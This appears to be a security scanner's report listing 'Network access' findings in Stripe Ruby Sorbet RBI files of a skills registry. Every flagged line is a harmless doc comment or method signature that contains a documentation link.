# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 269
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 270
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 271
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 289
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 290
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns(T:: - Network accessline 291
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 430
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 431
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 432
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 479
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 480
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 481
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_token_create_params.rbi
- Network accessline 14
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 121
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 122
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 123
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 185
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p - Network accessline 186
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. s - Network accessline 187
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 199
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 200
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 201
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 214
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific - Network accessline 215
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 216
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 219
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 220
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 221
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 227
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 228
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 229
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 248
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif - Network accessline 249
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 250
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 253
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 254
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 255
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 261
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 262
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 263
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 281
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 282
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns(T:: - Network accessline 283
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 424
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 425
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 426
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 473
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 474
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 475
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/accounts/person_update_params.rbi
- Network accessline 14
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 131
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 132
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 133
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 195
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a p - Network accessline 196
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. s - Network accessline 197
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 209
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 210
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 211
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 224
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verific - Network accessline 225
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 226
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 229
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 230
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 231
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 237
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 238
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 239
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 258
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verif - Network accessline 259
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identi - Network accessline 260
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 263
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verifica - Network accessline 264
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The u - Network accessline 265
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 271
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 272
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 273
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 291
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 292
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns(T:: - Network accessline 293
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 432
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 433
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 434
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 481
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 482
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 483
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_create_params.rbi
- Network accessline 30
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 31
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 32
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/webhook_endpoint_update_params.rbi
- Network accessline 27
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 28
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 29
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account.rbi
- Network accessline 8
# enabled to make live charges or receive payouts. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 9
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is `application`, which includes Custom accounts, the properties below are always - Network accessline 10
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 12
# returned. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 13
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is `stripe`, which includes Standard and Express accounts, some properties are on - Network accessline 14
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 15
# is `stripe`, which includes Standard and Express accounts, some properties are only returned # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessio - Network accessline 16
# until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessions) - Network accessline 17
# to start Connect Onboarding. Learn about the [differences between accounts](https://docs.stripe.com/connect/accounts). - Network accessline 22
sig { returns(T.nilable(Integer)) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 23
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 24
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 39
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 40
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 41
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 53
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 54
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 55
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 65
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 66
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 318
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 319
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 320
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 330
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 331
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 332
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 344
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 345
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 346
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 373
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 374
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 375
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 468
class Verification < ::Stripe::StripeObject class Document < ::Stripe::StripeObject # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificatio - Network accessline 469
class Document < ::Stripe::StripeObject # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [n - Network accessline 470
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file). - Network accessline 477
sig { returns(T.nilable(String)) } def details_code; end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additiona - Network accessline 478
def details_code; end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable]( - Network accessline 479
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file). - Network accessline 506
sig { returns(T.nilable(AddressKanji)) } def address_kanji; end # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_p - Network accessline 507
def address_kanji; end # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api - Network accessline 508
# Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api/accounts/update#update_accou - Network accessline 512
sig { returns(T.nilable(DirectorshipDeclaration)) } def directorship_declaration; end # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provid - Network accessline 513
def directorship_declaration; end # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs. - Network accessline 514
# Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs.stripe.com/api/accounts/update#update_ac - Network accessline 530
sig { returns(T.nilable(String)) } def name_kanji; end # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter - Network accessline 531
def name_kanji; end # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/up - Network accessline 532
# Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/update#update_account-compan - Network accessline 536
sig { returns(T.nilable(OwnershipDeclaration)) } def ownership_declaration; end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stri - Network accessline 537
def ownership_declaration; end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-det - Network accessline 538
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 548
sig { returns(T.nilable(RepresentativeDeclaration)) } def representative_declaration; end # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_c - Network accessline 549
def representative_declaration; end # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-re - Network accessline 550
# The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-requirement_collection) is `stripe`. See [Bu - Network accessline 581
class Controller < ::Stripe::StripeObject class Fees < ::Stripe::StripeObject # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee b - Network accessline 582
class Fees < ::Stripe::StripeObject # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stri - Network accessline 583
# A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-beha - Network accessline 616
sig { returns(T.nilable(Fees)) } def fees; end # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for - Network accessline 617
def fees; end # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this fi - Network accessline 618
# `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this field is null. - Network accessline 702
end class Groups < ::Stripe::StripeObject # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/c - Network accessline 703
class Groups < ::Stripe::StripeObject # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/p - Network accessline 704
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 753
sig { returns(T.nilable(T::Array[String])) } def currently_due; end # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification - Network accessline 754
def currently_due; end # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification). sig { returns(T.nilable(String)) } - Network accessline 755
# If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification). - Network accessline 791
end class Branding < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 792
class Branding < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. sig { returns(T.nilable(T.any(String, ::Stripe - Network accessline 793
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 794
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def icon; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and witho - Network accessline 795
def icon; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128 - Network accessline 796
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 876
sig { returns(T.nilable(String)) } def display_name; end # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/ti - Network accessline 877
def display_name; end # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). sig { returns(T.nilable( - Network accessline 878
# The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). - Network accessline 904
sig { returns(T.nilable(String)) } def statement_descriptor; end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/ge - Network accessline 905
def statement_descriptor; end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set - Network accessline 906
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 907
sig { returns(T.nilable(String)) } def statement_descriptor_kana; end # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe. - Network accessline 908
def statement_descriptor_kana; end # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descripto - Network accessline 909
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 910
sig { returns(T.nilable(String)) } def statement_descriptor_kanji; end # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https:// - Network accessline 911
def statement_descriptor_kanji; end # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/stateme - Network accessline 912
# The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descri - Network accessline 913
